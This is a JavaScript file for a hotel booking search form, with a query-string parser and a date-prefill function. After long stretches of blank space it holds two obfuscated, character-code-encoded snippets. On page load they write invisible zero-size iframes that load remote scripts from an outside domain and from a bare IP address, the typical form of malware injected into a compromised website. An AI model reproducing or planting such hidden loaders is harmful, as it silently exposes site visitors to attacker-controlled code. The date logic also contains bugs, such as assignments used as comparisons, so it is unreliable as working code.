
function getQuerystring(key, default_)
{
  if (default_==null) default_="";
  key = key.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
  var regex = new RegExp("[\\?&]"+key+"=([^&#]*)");
  var qs = regex.exec(window.location.href);
  if(qs == null)
    return default_;
  else
    return qs[1];
}



function prepopHotelDates() {
	var dt = new Date();
	
	var curYr = dt.getYear();
	var curYr2 = dt.getYear();
	var mo = getQuerystring('arrivalMonth', "1");
	var mo2 = getQuerystring('departureMonth', "1");;
	var da = getQuerystring('arrivalDay', "1");
	var da2 = getQuerystring('departureDay', "1");
	var yr = getQuerystring('arrivalYear', "2010");
	var yr2 = getQuerystring('departureYear', "2010");
	
	
	da--;
	da2--;
	
	mo--;
	mo2--;
	
	if(yr="2010"){
	yrInt=1;	
	}
	else 
	if(yr="2011"){
	yrInt=2;	
	}
	
	if(yr2="2010"){
	yr2Int=1;	
	}
	else 
	if(yr2="2011"){
	yr2Int=2;	
	}
		
	/*
	
	var yrInt = parseInt(yr);
	var yr2Int = parseInt(yr);
	
	*/
	
	document.frm_Search.arrivalMonth.selectedIndex = mo;
	document.frm_Search.arrivalDay.selectedIndex = da;
	document.frm_Search.arrivalYear.selectedIndex.value = yr;
	
	document.frm_Search.departureMonth.selectedIndex = mo2;
	document.frm_Search.departureDay.selectedIndex = da2;
	document.frm_Search.departureYear.selectedIndex.value = yr2;

	return;  
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

